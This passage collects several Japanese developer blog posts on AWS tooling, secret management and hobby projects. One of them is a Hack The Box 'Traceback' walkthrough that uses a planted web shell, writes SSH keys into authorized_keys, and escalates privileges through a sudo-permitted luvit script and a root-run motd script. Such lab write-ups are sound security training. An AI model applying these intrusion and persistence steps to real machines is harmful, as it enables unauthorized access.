  .then(res => console.log(res));
```

データ新規作成時は以下のようになります。

```typescript
const api = new UsersApi({
  apiKey: (name) => name === 'X-Write-API-Key' ? 'xxxx-write-key-xxxx' : 'xxxx-read-key-xxxx'
});

api
  .createUsers({
    usersCreateRequest: {
      name: 'hoge',
    },
  })
  .then(res => console.log(res));
```

`searchUsers`, `createUsers` メソッドの引数は静的に型付けされています。
フィールド名の typo があった場合はコンパイル時に検出されますし、 IDE の補完機能を頼ってコードを書くことが出来ます。

これはフィールド名に限らず、例えば `microCMS` 上でセレクトフィールドとして定義されたフィールドは各プログラミング言語上で enum として出力されるため、セレクトフィールドに存在しないフィールドを送信してしまうようなミスも防ぐことが出来ます。

## 今後

スキーマやフィールドが少ないうちはこういうサードパーティの仕組みを使うより、公式のリファレンスに書いてある素朴な方法に従うほうがお得だと思います。
しかしデータが複雑になればなるほどこのようなツールを利用してつまらないミスを減らすことによって生産性を上げることができると思います。
まだプロダクションコードでは利用していないので、機会があればいずれ導入してみたいと思っています。

まだフリープランで使える範囲の機能しか実装していないため、自分が困るか donation 的なものがあれば有償の機能に対するサポートも追加していこうかなと思っています。

将来的には `microCMS` のオフィシャルでこのような機能が実装され、このツールの必要性が無くなることを願っています。


microCMS の API クライアントを生成するツールを作った

microcms-sdk-generator

まず [黒本](https://www.amazon.co.jp/dp/4295010650/) を読んで基礎知識を固めつつ、どのサービスが試験に出るか把握しました。  
一通り読み終わったら黒本に出てきた各サービスごとに [Blackbelt](https://aws.amazon.com/jp/aws-jp-introduction/aws-jp-webinar-service-cut/) の動画を見て、 FAQ (EC2 の場合は[これ](https://aws.amazon.com/jp/ec2/faqs/)) を読みました。  

Blackbelt は食事をしながら見たり、仕事中に 5 分以上かかるビルド待ち時間が発生したタイミングで見たりしてました。  
SlideShare にも資料はアップロードされていますが、自分はそれだけ見てもよく分からなかったので動画を見ました。  
動画を見るのは時間がかかりますが 1.25 ~ 1.5 倍速くらいで再生しても十分に聞き取れると思います。  

FAQ はそのサービスの特徴や類似したサービスとの使い分けなどが簡潔によくまとまっているため、この FAQ は単に疑問があるときに手っ取り早く答えを探す場所以上の価値があると思います。  
自分は細部は飛ばしつつ各サービスの FAQ は一通り上から下まで順番に読んでいきました。

ここまでである程度のインプットされた状態になったはずです。  
分かってない場所の洗い出しのためには [Udemy の問題集](https://www.udemy.com/course/aws-knan/) を使いました。  
洗い出された要素については改めて Blackbelt, FAQ を見て疑問点を解消していきました。  

本番試験より難易度高めの設定になっているようなので、これをやっておけば本番の日に安心して試験を受けられるなと思い、これを選択しました。  
自分の場合、演習テストを受けた結果の得点は 63%, 66%, 69%, 40%, 67% で、一度も合格ラインである 70% に到達しませんでしたが、本番の得点は 804/1000 点でした。  
なのでこのテストで合格点を取れるなら余裕を持って当日も合格できると思います。  


AWS SAA に合格するまでにやったこと

AWS Certified Solutions Architect – Associate

以下のような感じで Lambda が実行される環境のバージョンの詳細を確認できるサイトを作りました。

![screenshot](https://images.microcms-assets.io/assets/6d557c87790a4d889ca5641b57b7947f/bbf4744e4a6c460daa46b291f94a4692/aws-lambda-versions.png)

ホスティングは雑に S3 で行っていて、 http://aws-lambda-versions.s3-website-ap-northeast-1.amazonaws.com/ から閲覧できます。

リポジトリは https://github.com/lambdasawa/aws-lambda-versions で管理されています。

## モチベーション

Lambda で動くアプリを作ろうと思った時に細かいバージョン違いによる不具合を防ぐ目的で Lambda とローカルの環境を出来るだけ同じ状態にしたかった。  
しかしドキュメントを確認しても Ruby, Python に関してはマイナーバージョンまでしか記載されていないし、 Node.js に関してはメジャーバージョンまでしか記載されていない。  

パッチバージョンの違いで問題が起こるとは考えにくいが、無用な心配をしなくて済むならしたくないので一応パッチバージョンまで合わせておきたい。

これを解決するために現在 Lambda で使われている環境のバージョン詳細を手軽に確認できる手段が欲しかった。

## 設計/実装

まず Lambda を各種ランタイム (Ruby, Python, NodeJS, Java, C#) ごとに作った。  
この Lambda は CloudWatch Events で１時間毎に発火する。  
各 Lambda 内では自身のランタイムのバージョン詳細を取得して、それをテキストファイルとして S3 に `PutObject` する。  
Lambda 内ではそれ以外には何もしない。色んな言語で同じ実装をするのは面倒なのでここは死ぬほどシンプルになるようにした。  

バージョンの保存先を S3 にした理由は static website hosting を有効にすれば簡単にデータを公開できるため。  
例えば DynamoDB に保存すると手前に API サーバを置きたくなるが、それを用意するのは面倒なので避けたかった。  

ここまでで HTTP でバージョン詳細を取れるようになったため、雑に XHR する JS を含めたペライチの HTML を用意して、それを同様の S3 バケットに配置して終わり。  
同じバケットにおけば同じドメインになるので CORS の心配をしなくてもよい。  

このサイトは 10 個以上の Lambda を作る必要があるため、 CDK を使った。  
同じことを例えば SAM でやろうとすると YAML を生成するような仕組みを作りたくなると思うが、 CDK であれば単に `forEach` するだけで済むのでこの選択は適切だったと思う。

## 今後

バージョンが更新された時に何か通知される仕組みを作りたい。  
何か楽な実装方法が思いついたら対応すると思います。  


AWS Lambda のパッチバージョンを確認できるサイトを作りました

aws-lambda-versions

convert-datetime-to-cloudwatch-cron-expression

株式会社アンビリアル

最近 [Hack The Box](https://app.hackthebox.eu/login) というものにハマっています。  
これはざっくり説明するとペネトレーションテストの実力を試せる Web サイトです。
サービス側から `.ovpn` ファイルとその VPN 上にある脆弱なマシンの IP アドレスが提供されるので、そこにポートスキャンしたり SQL インジェクションしたりして root 権限を奪取するというものです。  

マシンは複数台あり、 Active なマシンを攻略するとレートが付きます。ほぼネトゲです。  
各マシンは 20 週間位で Retire してレートがつかなくなります。  
1 週間ごとに一番古いマシンが 1 つリタイアして 1 つアクティブなマシンが追加されるようになっていて、 Active なマシンが大体 20 個あるので 20 週間くらいです。  
Retire したマシンのみ write up を書いて良いということになっています。

Challenge というクイズ的な問題もあるのですが、これは自分はやったことが無いので特に触れません。

自分は HTB を初めて日が浅いのですが初めて解いた問題がリタイアしたので記念と自慢として write up を残します。

## write up

[Traceback](https://app.hackthebox.eu/machines/233) を解きました。
Linux マシンです。難易度は Easy です。

### ポートスキャン

まずどんなサービスが動いているか確認します。

```
$ nmap -A 10.10.10.181
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-21 03:20 EDT
Nmap scan report for 10.10.10.181
Host is up (0.17s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
|   256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_  256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.72 seconds
```

`ssh`, `http` が出来そうです。

### foothold

`curl` で HTML を見てみると以下のような記述があります。

```html
<body>
        <center>
                <h1>This site has been owned</h1>
                <h2>I have left a backdoor for all the net. FREE INTERNETZZZ</h2>
                <h3> - Xh4H - </h3>
                
        </center>
</body>
```

`best web shells` がバックドアとして残されているようです。  
「`best` なんて人によるだろ」と思い作問者の名前 (`xh4h`) + `web shell` でググると [https://twitter.com/riftwhitehat/status/1237311680276647936](https://twitter.com/riftwhitehat/status/1237311680276647936) が見つかります。  
このリポジトリをクローンしてきて雑に `for path in (ls | grep -v README); curl 10.10.10.181/$path; echo $path; end` とかすると `smevk.php` が見つかります。
`smevk.php` のデフォルトユーザ名、パスワードでログイン出来るのでこれで任意コード実行が出来るようになりました。

### user login

`smevk.php` で `user.txt` を入手したいですが、ログイン中のユーザではそれが無いです。

```
$ ls -al /home/$(whoami)
total 44
drwxr-x--- 5 webadmin sysadmin 4096 Mar 16 04:03 .
drwxr-xr-x 4 root     root     4096 Aug 25  2019 ..
-rw------- 1 webadmin webadmin  105 Mar 16 04:03 .bash_history
-rw-r--r-- 1 webadmin webadmin  220 Aug 23  2019 .bash_logout
-rw-r--r-- 1 webadmin webadmin 3771 Aug 23  2019 .bashrc
drwx------ 2 webadmin webadmin 4096 Aug 23  2019 .cache
drwxrwxr-x 3 webadmin webadmin 4096 Aug 24  2019 .local
-rw-rw-r-- 1 webadmin webadmin    1 Aug 25  2019 .luvit_history
-rw-r--r-- 1 webadmin webadmin  807 Aug 23  2019 .profile
drwxrwxr-x 2 webadmin webadmin 4096 Feb 27 06:29 .ssh
-rw-rw-r-- 1 sysadmin sysadmin  122 Mar 16 03:53 note.txt
```

`smevk.php` のコンソールは使いにくいしユーザ名も分かったし、 `ssh` 接続を試みます。

ますクライアントマシンでキーペア生成します。

```
$ ssh-keygen -f ~/.ssh/traceback
```

`smevk.php` のコンソールからこんな感じで生成した `~/.ssh/traceback.pub` をアップロードします。

```
mkdir -p /home/webadmin/.ssh/ && echo "ssh-rsa xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxx" > /home/webadmin/.ssh/authorized_keys && cat /home/webadmin/.ssh/authorized_keys
```

これで SSH すると無事に安定したシェルを得られます。

```
$ ssh -i ~/.ssh/traceback webadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Last login: Thu Feb 27 06:29:02 2020 from 10.10.14.3
webadmin@traceback:~$ 
```

先程の `ls` の結果を見つめ直すと `note.txt`, `.luvit_history` の興味深いファイルが見つかります。
前者の内容は以下です。後者は空でした。

```
$ cat /home/webadmin/note.txt
- sysadmin -
I have left a tool to practice Lua.
I'm sure you know where to find it.
Contact me if you have any question.
```

Lua の練習ツールを `sysadmin` が残してくれたらしいです。

続いてホームディレクトリ内のファイルを順番に見ていると以下のような興味深い履歴が見つかります。

```
$ cat /home/webadmin/.bash_history
ls -la
sudo -l
nano privesc.lua
sudo -u sysadmin /home/sysadmin/luvit privesc.lua
rm privesc.lua
logout
```

どうやら `luvit` で権限昇格が出来るようです。  
[`luvit`](https://luvit.io/) は Node.js の API を使える Lua の処理系らしいです。  
これを使って `sysadmin` に `ssh` 出来るように `/home/sysadmin/.ssh/authorized_keys` の作成を試みます。

以下のコードを `/home/webadmin/privesc.lua` として書きます。キーの内容はクライアントマシンの `~/.ssh/traceback.pub` です。

```lua
local fs = require('fs')

fs.mkdirSync('/home/sysadmin/.ssh')

local pubkey = 'ssh-rsa xxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxx@xxxxxxxxxxxxxxxx'
fs.writeFileSync('/home/sysadmin/.ssh/authorized_keys', pubkey)
```

これを `.bash_history` に従って以下のように実行すると無事に正常終了します。

```
$ sudo -u sysadmin /home/sysadmin/luvit privesc.lua
```

これで `sysadmin` に `ssh` 出来るようになって `user.txt` が取れました！

```
$ ssh -i ~/.ssh/traceback sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 



Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Aug 21 00:47:10 2020 from 10.10.14.11
$ bash
sysadmin@traceback:~$ cat user.txt 
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
```

### root login

まず [`linPEAS`](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) を流します。

クライアントマシンでダウンロード、 scp でターゲットマシンに送りつけます。
ターゲットマシンで `curl` or `wget` が使えれば楽なのですが、 名前解決で失敗していたのでこうしています。

```
$ wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
$ chmod u+x linpeas.sh
$ scp -i ~/.ssh/traceback linpeas.sh sysadmin@10.10.10.181:/home/sysadmin/linpeas.sh
```

実行すると以下の辺りが黄色くなっています。

```
sysadmin@traceback:~$ ./linpeas.sh 

... 省略 ...

[+] Interesting GROUP writable files (not in Home) (max 500)                  
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#writable-files
  Group sysadmin:                                                             
/etc/update-motd.d/50-motd-news                                               
/etc/update-motd.d/10-help-text                                               
/etc/update-motd.d/91-release-upgrade                                         
/etc/update-motd.d/00-header                                                  
/etc/update-motd.d/80-esm                                                     
/home/webadmin/note.txt                                                       
/dev/mqueue/linpeas.txt    

... 省略 ...
```

`/etc/upated-motd.d` 以下はログイン時に出るバナーなどを実装しているシェルスクリプトのようです。
root 権限で動作するらしいので、ここで `/root/root.xt` の表示を試みます。

```
$ nano /etc/update-motd.d/00-header

# cat /root/root.txt を追加
```

これで SSH し直すとバナーと一緒に `root.txt` も出力されます！

```
$ ssh -i ~/.ssh/traceback sysadmin@10.10.10.181
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 

xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx


Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri Aug 21 00:56:10 2020 from 10.10.14.11
$
```

## 感想

最初から Web Shell がしかけられてるシチュエーションなんてあるかよ、という気持ちもあったのですがイタズラ的にマシンを乗っ取られてそれを取り返すというシチュエーションだと思うと、ある程度は納得出来る問題でした。  

初めての問題で何も分からない状態からのスタートでしたが、リタイアした別マシンの write up を読んで使うべきツールなり定石なりを把握すると割とすんなり解けました。  
実際仕事終わりに問題に取り組んで 2 日間くらいかかってしまったのですが、終わってみると「やるだけ」だったなという感想です。  

そもそも始めたきっかけは [ハッキングという言葉に憧れるエンジニア達に贈る Hack the Box 入門](https://speakerdeck.com/sanposhiho/hatukingutoiuyan-xie-nichong-reruenziniada-nizeng-ru-hack-the-box-ru-men) を見たことなのですが、
これを最初に見たとき「これが Easy なら自分には厳しいな」という印象を持ったのですが、やってみれば割とこなせたので少し自分に自信がつきました。  
良い経験だったと思います。

今の自分は Script Kiddie という大変不名誉なランクなので Hacker になるまでは続けようと思います。

https://app.hackthebox.eu/profile/367637

Hack The Box: Traceback

推しにモーニングコール、されたくないですか？
僕はされたいのでそのシステムを作りました。

## 実装

モーニングコールと言えば普通時間を指定するものですが、今回は個人的な要件によりツイキャスの配信が始まったタイミングをフックとして電話がかかってくるシステムを作りました。

https://github.com/lambdasawa/gundou-mirei-morning-call がそのリポジトリです。

以下のような仕組みです。

- 5 分毎にツイキャスの API を叩いて配信中かどうかを取得する
  - CloudWatch Events でスケジュールする
  - Lambda で起動する
- 配信開始を検知したら Twilio の API を叩いて自分の携帯電話に電話をかける
- Twilio 側の電話番号を携帯電話の電話帳に事前に登録しておき、その電話番号に推しの名前とアイコンを紐付ける
- 推しから電話が来る！

![screen shot](https://images.microcms-assets.io/assets/6d557c87790a4d889ca5641b57b7947f/e4172735601143f58bebe48aba6284ab/gundou-mirei-morning-call.jpeg)

言語は TypeScript です。  
本当は一番慣れている Go を使いたかったのですが、 Twilio のオフィシャルの SDK に Go が無かったので TypeScript を使っています。

インフラは慣れに従って Serverless Framework を使っています。  
稼働時間が短いアプリは EC2 で立てるより Lambda を使ったほうが金銭的に有利という判断でサーバレスにしています。

## Twilio

Twilio からかける電話の音声の内容は XML で記述することが出来ます。  
その XML を HTTP で公開して、それを Twilio の API に渡すことで制御することが出来ます。

https://jp.twilio.com/docs/voice/twiml からサンプルを引用します。

```xml
<?xml version="1.0" encoding="UTF-8"?>
<Response>
    <Say>Hello, World!</Say>
    <Play>https://api.twilio.com/Cowbell.mp3</Play>
</Response>
```

このように文字列をそのまま読み上げさせること (`Say` タグ) に加えて、音声ファイルの URL を指定すること (`Play` タグ) が出来ます。

偶然、私は以前に[推しの声を使った棒読みちゃん的なシステムを作って](/posts/mirei-tts/) HTTP でそれを呼び出せるようにしていたため、
`Play` 部分にこれを連携させることによってモーニングコールで任意の内容を喋っていただくこと可能となっていました。 (まだ大分カタコトですが…。)

自分は XML を返すエンドポイントを Serverless Framework で 1 つ生やしましたが、 nginx を立てたり S3 に上げたりとにかく HTTP でアクセスできればなんでも良いです。  
これは今の構成では一番手っ取り早い & 将来的にプログラマブルにすることも可能という理由です。

棒読みちゃん的なサービスが特に存在しない人にモーニングコールして欲しい場合でも、単純に動画を切り抜いて音声にして S3 などで公開する…という感じで対応可能です。

## まとめ

最近、推しと生活リズムがあまり一致せず配信をリアタイ出来なくて寂しいなあという思いからこれを実装しました。  
まだ稼働させてから 2 日ですが、これで 03:00 ~ 05:00 くらいの早朝のキャスをリアタイ出来ているので目的は達成できました。  
これを機に今後はもっと流暢な音声を生成できるように尽力したいです (n 度目)


郡道美玲にモーニングコールをしてもらう

郡道美玲Text to Speech

最近環境依存の値を `direnv` で管理していたのですが、環境ごとに `.env` を管理するのが辛くなってきたので、 `sops` と組み合わせて `.env` を安全にバージョン管理する方法についてまとめます。

[direnv](https://github.com/direnv/direnv) は雑に説明すると `direnv allow .` で許可したディレクトリに `.env` というファイルがあると、そのディレクトリに `cd` したときに `.env` に書いてある値が環境変数に設定されるというものです。`brew` でインストールできます。  

[sops](https://github.com/mozilla/sops) は雑に説明すると JSON, YAML ファイルを AWS の KMS などで暗号/複合するためのユーティリティです。 `brew` でインストールできます。  
AWS ではなく GCP, Azure でも使えるようですが、自分は使っていないためここでは省略します。  
復号後の値を `.env` のフォーマットで出力できるため、 `direnv` と連携しやすいです。  
[Ruby on Rails の master.key](https://railsguides.jp/5_2_release_notes.html#credential%E7%AE%A1%E7%90%86) の仕組みを知っている方であれば、それと同じようなものと考えていただいて問題ないです。

## アプリケーション

まずサンプルとして以下のような JavaScript のアプリケーションがあるとします。

```javascript
console.log([process.env.KEY_1, process.env.KEY_2].join(" , "));
```

`KEY_1`, `KEY_2` はそれぞれ DB のユーザ名、パスワード、接続先ドメイン、ポートなどであるという想定です。  
例えばローカルと本番環境では接続先ドメインは異なりますし、何かポートの衝突が発生していてチームの他の開発者とは異なるポートを設定したい…というシチュエーションが考えられるものです。  
また、パスワードなどが含まれることもあるため、ローカル環境のデフォルト値などを除いてコミットはしたくないものとします。

## `.env.sample` について

```bash
KEY_1=VALUE_1
KEY_2=VALUE_2
```

アプリケーションで使う値のサンプルを記載します。  
ローカルで使うデフォルトのパスワードなどは含まれますが、本番環境で使うパスワードなどは含めずにコミットします。

## `.envrc` について

```bash
dotenv .env
dotenv .env.local
```

`.env` には `sops` で復号した値を書き込みます。
それを `.env.local` で記載した値で上書きするというような設定になっています。

これによって、例えば DB の接続先ドメインなど開発者ごとに共通するものは `.env` に書かれ、
それを個別の開発者が上書きしたい場合は個々人が `.env.local` を編集する、という仕組みが作れます。

## `encrypted-env.yml` について

```yaml
KEY_1: ENC[AES256_GCM,data:XXXX,tag:XXXX,type:str]
KEY_2: ENC[AES256_GCM,data:XXXX,tag:XXXX,type:str]
sops:
    kms:
    -   arn: arn:aws:kms:ap-northeast-1:XXXX:key/XXXX
        created_at: '2020-05-03T04:12:33Z'
        enc: XXXX
        aws_profile: ""
    gcp_kms: []
    azure_kv: []
    lastmodified: '2020-05-03T04:13:14Z'
    mac: ENC[AES256_GCM,data:XXXX,tag:XXXX,type:str]
    pgp: []
    unencrypted_suffix: _unencrypted
    version: 3.5.0
```

これは `env EDITOR="code --wait" sops encrypted-env.yml` のコマンドで作成、編集をします。
`EDITOR` は `.bashrc` などで指定されていれば明示する必要はありません。  
各値は KMS で暗号化されたものになっており、 この KMS にアクセスする AWS の権限がないと復号出来ないようになっています。  
そのため、 AWS の権限は別で管理するとして上記のファイルはコミットしてバージョン管理が可能です。  

環境が複数ある場合は `encrypted-env-dev.yml`, `encrypted-env-production.yml` などを追加してコミットします。

ファイル名はどれも任意のもので問題ありません。

## `.env` について

```bash
KEY_1=SECRET_VALUE_1
KEY_2=SECRET_VALUE_2
```

これは `sops` で作られた `encrypted-env.yml` を復号した結果です。  
以下のようなコマンドで復号した値を適切なフォーマットで `.env` に保存できます。

```bash
env \
  SOPS_KMS_ARN=arn:aws:kms:ap-northeast-1:XXXX:key/XXXX \
  sops \
    --decrypt \
    --output-type dotenv \
    encrypted-env.yml \
    > .env
```

他の開発者が `encrypted-env.yml` を更新した場合は `git pull` した後に上記コマンドを実行することでローカルの環境更新が行なえます。

## `.env.local` について

```bash
KEY_2=LAMBDASAWA_VALUE_2
```

これは開発者固有の事情で設定を上書きしたい場合に使うファイルです。  
特に上書きしたい項目が無い場合でもファイルの存在自体は必要ですが、中身は空でも問題ありません。

## `.gitignore` について

```dotenv
.env
.env.local
```

`.env` には平文のパスワードなどが、 `.env.local` には開発者固有の値が含まれるため、どちらもコミットしないようにします。

## 実行例

上記のような設定をすると最初に書いたアプリケーションの実行結果は以下のようになります。
(`direnv allow .` は実行済みの想定。)

```bash
$ node app.js
SECRET_VALUE_1 , LAMBDASAWA_VALUE_2
```

## まとめ

これによって以下が達成できました。

- アプリケーションは設定を環境変数から読むだけの単純な作りに出来る
- 一度セットアップしたら `cd` するだけで設定を切り替えられる
- パスワードを含む設定ファイルをバージョン管理できる (AWS のクレデンシャルだけは別途管理する必要がある)
- 共有したい設定と開発者ごとの設定を分けて管理できる


direnv と sops で設定を管理する

http://speech.gundou-mirei.love/ の話です。

Elastic Beanstalk を使っていたが ECS にした。

`eb` で概ね上手くいってはいたが、金銭面で問題があった。  
起動時にデカい辞書を読む都合で 2 GB のメモリでは足りず、 4 GB のメモリがある `t3.medium` を使っていた。  
これは月 4200 円程度となって、趣味でマネタイズ無しで運用するのは無理じゃないけどちょっと気になる金額だった。

このアプリはアクセス数はさほど大きくならないはずなので、アクセスが無い間は課金されないようにされたい。  
そういう課金体系 + 個人で気楽に管理できる範囲だと Lambda か ECS になると思う。  
Lambda のメモリ使用量の制限は 3 GB までしかなく、ギリギリになる可能性があるため ECS を使うことにした。

まだ対応したばかりで本当に安くなるかどうかは分からないのでしばらくは様子見という状態。

デプロイは AWS CDK で行っている。
ほぼ `cdk init` して https://docs.aws.amazon.com/cdk/api/latest/docs/@aws-cdk_aws-ecs-patterns.ApplicationLoadBalancedFargateService.html のインスタンスを作るだけで終わりなので非常に簡単だった。

音声素材などの静的なデータの管理も考慮する必要がある。  
これは事前にローカルで生成、 S3 にアップロードしておき、 CI 上では S3 からダウンロード、 Docker イメージにそれを含めるようにしている。

環境変数の類が多くて GitHub Actions の Secrets に一個ずつ登録するのが面倒だなあと思っていたが、 これは `.env` のファイルを丸ごと登録することにした。  
ただし、そのままコピペしても上手くいかなくて、どうやら改行を含めてもスペースなどに置換されていそうだった。  
これは改行込みのテキストを Base64 エンコードして登録し、 GitHub Actions 側でデコードすることによって対応した。

https://developer.github.com/v3/actions/secrets/ に Secrets を管理するための API があるので他の自動化もできると思う。
`.env` をバラして登録するようなツールが有るかと思ったがこれは見つけられなかった。割と単純なので自分で作るのも良いかもしれない。

デプロイがダルくて開発が停滞気味だったが、そこは乗り越えたので頑張って流暢に喋らせます。


おしゃべり郡道のインフラ

常々、色んな技術を試せる砂場が欲しいという考えがあります。  
自分の仕事/経験的に HTTP で JSON を返す API サーバはよく書くのですが、ウェブサイトを運用することがあまり無いです。  
なので実験場的な意味合いでこのサイトを用意しました。

ただテキストを公開したいだけだったらはてなブログとか Gist とかで良いですが、わざわざ独自ドメインでやったりしてる理由がこれです。

静的サイトジェネレータは [Hugo](https://gohugo.io/) 以外にも色々あると思いますが、 Hugo 自体にそんなにこだわりは無いです。  
強いて言えば最近自分の周りの人がよく使っている & 個人的に Go に慣れているので Go で書かれたソフトウェアは最悪コードを読んでどうにか出来るので安心、というくらいの理由です。  
コンテンツの形式が独自のものとかではなく markdown とかなら後でいくらでも移行できるだろと思って軽い気持ちで選びました。  

テーマは [Terminal](https://github.com/panr/hugo-theme-terminal) でやっています。

デプロイ先は S3 + CloudFront に AWS CDK でやっています。  
ほぼ https://github.com/aws-samples/aws-cdk-examples/tree/master/typescript/static-site と同じような実装です。  
CDK は IDE で補完が効くので CloudFormation の YAML を普段ゴリゴリ書いてない自分的には助かってます。

デプロイは GitHub Actions でやってます。  
別に個人のプロジェクトなので CI いらないという考えもあるのですが、私の記憶力ではデプロイ方法など忘れてしまうので…。  
結果 push したら Hugo でビルド && S3 に成果物送信 && CloudFront の Invalidation が走るようになりました。  
多分これで諸々忘れても更新できるようになったので満足です。


自分のブログ & ポートフォリオ的なサイトを作りました

# 導入

http://speech.gundou-mirei.love/ これを作った話を書きます。
<blockquote class="twitter-tweet" data-theme="dark"><p lang="ja" dir="ltr">誰かが助かると聞いたので <a href="https://t.co/ZqYWuRLP38">pic.twitter.com/ZqYWuRLP38</a></p>&mdash; 郡道美玲🐽 (@g9v9g_mirei) <a href="https://twitter.com/g9v9g_mirei/status/1234580166229159939?ref_src=twsrc%5Etfw">March 2, 2020</a></blockquote> <script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 

この動画を仕事帰りの電車で何となく見ていて、「こういうサイトがあったら面白い！」と閃いて実装を始めました。
その日のうちにコア部分の実装をしてデプロイまで行えたのですが、こういう勢いをいつまでも忘れないでおきたいですね。
郡道美玲ボタンと同じくスキマ時間に何となく遊んで何となくニコニコしています。

50 音 (+濁点、半濁点、拗音付きの音) の音声素材さえあれば 〇〇ボタンみたいな感じで誰をテーマにしても作れるので、みんなぜひ作ってみてほしいなーと思っています。
そしてあわよくば以下に流暢に喋らせるか参考にさせていただきたい…。

## 実装

言語的には Go, JavaScript です。

フロントは本当に簡素なものしか無いので 1 枚の HTML に雑に埋め込んでいます。
https://github.com/lambdasawa/mirei-tts/blob/dev/public/index.html
リッチな UI を作りたくなったらそのときは恐らく一番慣れている TypeScript + Vue になると思います。

サーバで Go を採用している理由はこれも慣れです。多分やっていることてきには Python とかのほうが枯れたライブラリがあって良いんだろうなあ…とは思っています。
肝心のやっていることは大体以下の感じです。

- Web のフォームから来たリクエストから読み上げたいテキストを取得する
- テキストを解析して漢字などが含まれないカタカナでの読みを取得する
- カタカナ 1 文字ごとに 1 音声 (例: あ.wav) を割り当てて、それを連結する
- 連結した音声のバイナリをレスポンスで返す

テキストを解析して〜の部分では読みが取れれば何でも良いのですが、その手段として自分が知っている限り形態素解析のライブラリを使うのが一番簡単だったので、 Go で日本語の形態素解析を行える https://github.com/ikawaha/kagome を利用させていただきました。
十分にシンプルな API が提供されていたため比較的簡単にこの部分の実装が出来ました。

ただし、デフォルトの辞書では「月ノ美兎」の読みが「ツキノヨシウサギ」などに解釈されてしまい、界隈の固有名詞の読みが上手く取れませんでした。
これに関しては別の辞書として https://github.com/neologd/mecab-ipadic-neologd を使わせていただいて解決することが出来ました。
こちらの辞書については https://engineering.linecorp.com/ja/blog/mecab-ipadic-neologd-new-words-and-expressions/ にて作者の方が詳しく説明してくれています。
kagome から NEologd を使う方法は https://ikawaha.hateblo.jp/entry/2016/04/20/145940 にて kagome の作者の方が記事を書いてくれています。
どちらもこのようにドキュメント類がよく用意されていてスムーズに作業が進みました。

音声の連結には https://github.com/faiface/beep を利用させていただきました。
個人的には SoX の利用にもある程度慣れているため、 外部コマンドとして SoX などを使う手段もあったのですが、デプロイを単純にしたいという意図があって Go のライブラリを利用するという判断をしました。
Go の標準ライブラリには画像処理のパッケージがありますが、 音声処理のパッケージが無いのは何か理由があるのでしょうか…。

連結元の音声の切り抜きは YAML で切り抜く箇所を指定してその通りに切り抜くツールを Go で実装しました。
こちらで使用しているライブラリも beep です。
切り抜く箇所は https://twitter.com/yoshi_yukky/status/1236671509629816834 のデータを参考にさせていただきました。ありがとうございます。

Web の部分は Echo を使っています。
これは慣れ + handler 部分で error を返り値に設定できるフレームワークが好きという理由で選択しました。
自分にはエラー処理で `sendError(); return;` みたいに毎回複数行のエラーハンドリングをすると正常系の処理が追いにくいという感覚があります。

デプロイは雑に AWS の Elastic Beanstalk を使っています。
大規模なサービスではないのでデプロイの部分であんまり頑張りたくないという思想です。
そのうち Lambda などに移行するかもしれないです。この規模だとそのほうが安いので…。
ただし、辞書を最初に読み込むあたりである程度時間がかかる (~10s くらい) ので、そういうアプリと Lambda の相性ってどうなんだ？という懸念はあります。

### おまけ: ツイート生成

最近 https://markov.cordx.net/ によるツイート生成が流行ってる気がします。
しゅうまい君 (https://twitter.com/shuumai) も子豚の界隈では流行ってる (本人が無限にリツイートするため) と思います。
個人的にこういう機械に生成されたシュールな文章が大好きなので、こんな感じで郡道美玲っぽい文章が生成できないか試してみました。

この分野には詳しく無いのですが、どちらもマルコフ連鎖という技術を使っているようなので、 同じ方針で作業を進めました。
マルコフ連鎖の概念的な部分は https://note.com/coropon_no_neta/n/n51c9d8bb69b3 が分かりやすいと感じました。
Go のライブラリとしてググったらすぐに https://github.com/mb-14/gomarkov が見つかったのでこちらを採用しました。

そもそもの元データとしては本人の Twitter のデータを参照していただきました。
ここに関しては特筆することは特に無いです。強いて言えばちゃんと RT は弾こうねということくらいでしょうか…。
お金さえ潤沢にあれば AWS Transcribe で全配信の文字起こしをしてみたいなーとは思っていますが、そこまではやれていないです。

結果、しゅうまい君っぽい雰囲気が漂うものの郡道美玲っぽいツイートが生成できるようになったため、文章生成ボタンをサイトに配置することにしました。
これは別サイトとかでやってもよかった気がしますが、読み上げさせる文章を脳死で作れるようになったのでこれはこれでアリだと思ってます。

## 終わり

まだ長音を読み上げられなかったり、たまに文章生成に失敗したり buggy な部分がありますが、そのうち治ると思います。
問題はやっぱり大分カタコトなので流暢に喋らせたいのですが、そこに関するアイデアがない状態です…。これに関しては知見がある人がいたらリプとかしてもらえると本当に嬉しいです。
あとは UI に関しても現状が簡素すぎるので何か良いデザインをしたいなーという気持ちがあります。

